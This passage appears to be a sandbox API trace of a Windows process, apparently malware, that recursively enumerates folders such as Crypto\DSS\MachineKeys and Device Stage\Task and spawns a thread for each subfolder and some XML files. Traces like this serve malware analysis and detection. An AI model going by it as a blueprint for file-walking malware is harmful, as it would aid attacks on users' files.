ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0074.620] wcscmp (_String1=".", _String2=".") returned 0 [0074.620] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.620] wcscmp (_String1="..", _String2=".") returned 1 [0074.620] wcscmp (_String1="..", _String2="..") returned 0 [0074.620] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.620] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0074.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee508) returned 1 [0074.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0074.620] RtlExitUserThread (Status=0x0) Thread: id = 653 os_tid = 0xd58 [0074.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0074.622] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0074.622] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\" [0074.623] wcscat (in: _Dest=0x34799e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" [0074.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee508 [0074.623] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0074.623] wcscmp (_String1=".", _String2=".") returned 0 [0074.623] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.623] wcscmp (_String1="..", _String2=".") returned 1 [0074.623] wcscmp (_String1="..", _String2="..") returned 0 [0074.623] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.624] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0074.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee508) returned 1 [0074.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0074.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347df50) returned 1 [0074.624] RtlExitUserThread (Status=0x0) Thread: id = 654 os_tid = 0xd18 [0074.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34293e8 [0074.625] wcscpy (in: _Dest=0x34293e8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0074.625] wcscat (in: _Dest=0x34293e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0074.625] wcscat (in: _Dest=0x34293e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" [0074.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee508 [0074.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0074.628] wcscmp (_String1=".", _String2=".") returned 0 [0074.628] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.628] wcscmp (_String1="..", _String2=".") returned 1 [0074.628] wcscmp (_String1="..", _String2="..") returned 0 [0074.628] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0074.628] wcscmp (_String1="en-US", _String2=".") returned 1 [0074.628] wcscmp (_String1="en-US", _String2="..") returned 1 [0074.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431340 [0074.628] wcscpy (in: _Dest=0x3431340, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0074.628] wcscat (in: _Dest=0x3431340, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0074.628] wcscat (in: _Dest=0x3431340, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0076.626] Sleep (dwMilliseconds=0x1) [0077.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0077.807] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0077.807] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0077.807] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0077.807] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0077.807] wcscmp (_String1="netfol.ico", _String2=".") returned 1 [0077.807] wcscmp (_String1="netfol.ico", _String2="..") returned 1 [0077.807] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0077.807] wcscmp (_String1="pictures.ico", _String2=".") returned 1 [0077.807] wcscmp (_String1="pictures.ico", _String2="..") returned 1 [0077.807] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0077.807] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0077.807] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0077.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7bc8 [0077.807] wcscpy (in: _Dest=0x33f7bc8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0077.807] wcscat (in: _Dest=0x33f7bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0077.807] wcscat (in: _Dest=0x33f7bc8, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" [0077.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0077.808] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0077.808] wcscmp (_String1="ringtones.ico", _String2=".") returned 1 [0077.808] wcscmp (_String1="ringtones.ico", _String2="..") returned 1 [0077.808] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0077.808] wcscmp (_String1="settings.ico", _String2=".") returned 1 [0077.808] wcscmp (_String1="settings.ico", _String2="..") returned 1 [0077.808] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0077.808] wcscmp (_String1="sync.ico", _String2=".") returned 1 [0077.808] wcscmp (_String1="sync.ico", _String2="..") returned 1 [0077.808] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0077.809] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0077.809] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0077.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3432550 [0077.809] wcscpy (in: _Dest=0x3432550, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0077.809] wcscat (in: _Dest=0x3432550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0077.809] wcscat (in: _Dest=0x3432550, _Source="tasks.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" [0077.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3432550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0077.809] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0077.809] wcscmp (_String1="wmp.ico", _String2=".") returned 1 [0077.809] wcscmp (_String1="wmp.ico", _String2="..") returned 1 [0077.809] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0077.810] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0077.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee508) returned 1 [0077.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34293e8) returned 1 [0077.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3818) returned 1 [0077.810] RtlExitUserThread (Status=0x0) Thread: id = 655 os_tid = 0x3cc [0074.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34294a0 [0074.630] wcscpy (in: _Dest=0x34294a0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0074.630] wcscat (in: _Dest=0x34294a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0074.630] wcscat (in: _Dest=0x34294a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" [0074.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee770 [0074.630] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fa8 [0074.631] wcscmp (_String1=".", _String2=".") returned 0 [0074.631] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.631] wcscmp (_String1="..", _String2=".") returned 1 [0074.631] wcscmp (_String1="..", _String2="..") returned 0 [0074.631] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0074.631] wcscmp (_String1="en-US", _String2=".") returned 1 [0074.632] wcscmp (_String1="en-US", _String2="..") returned 1 [0074.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431400 [0074.632] wcscpy (in: _Dest=0x3431400, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0074.632] wcscat (in: _Dest=0x3431400, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0074.632] wcscat (in: _Dest=0x3431400, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0076.626] Sleep (dwMilliseconds=0x1) [0077.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0077.803] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0077.803] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0077.803] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0077.803] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0077.803] wcscmp (_String1="print_pref.ico", _String2=".") returned 1 [0077.803] wcscmp (_String1="print_pref.ico", _String2="..") returned 1 [0077.803] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0077.803] wcscmp (_String1="print_property.ico", _String2=".") returned 1 [0077.803] wcscmp (_String1="print_property.ico", _String2="..") returned 1 [0077.803] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, 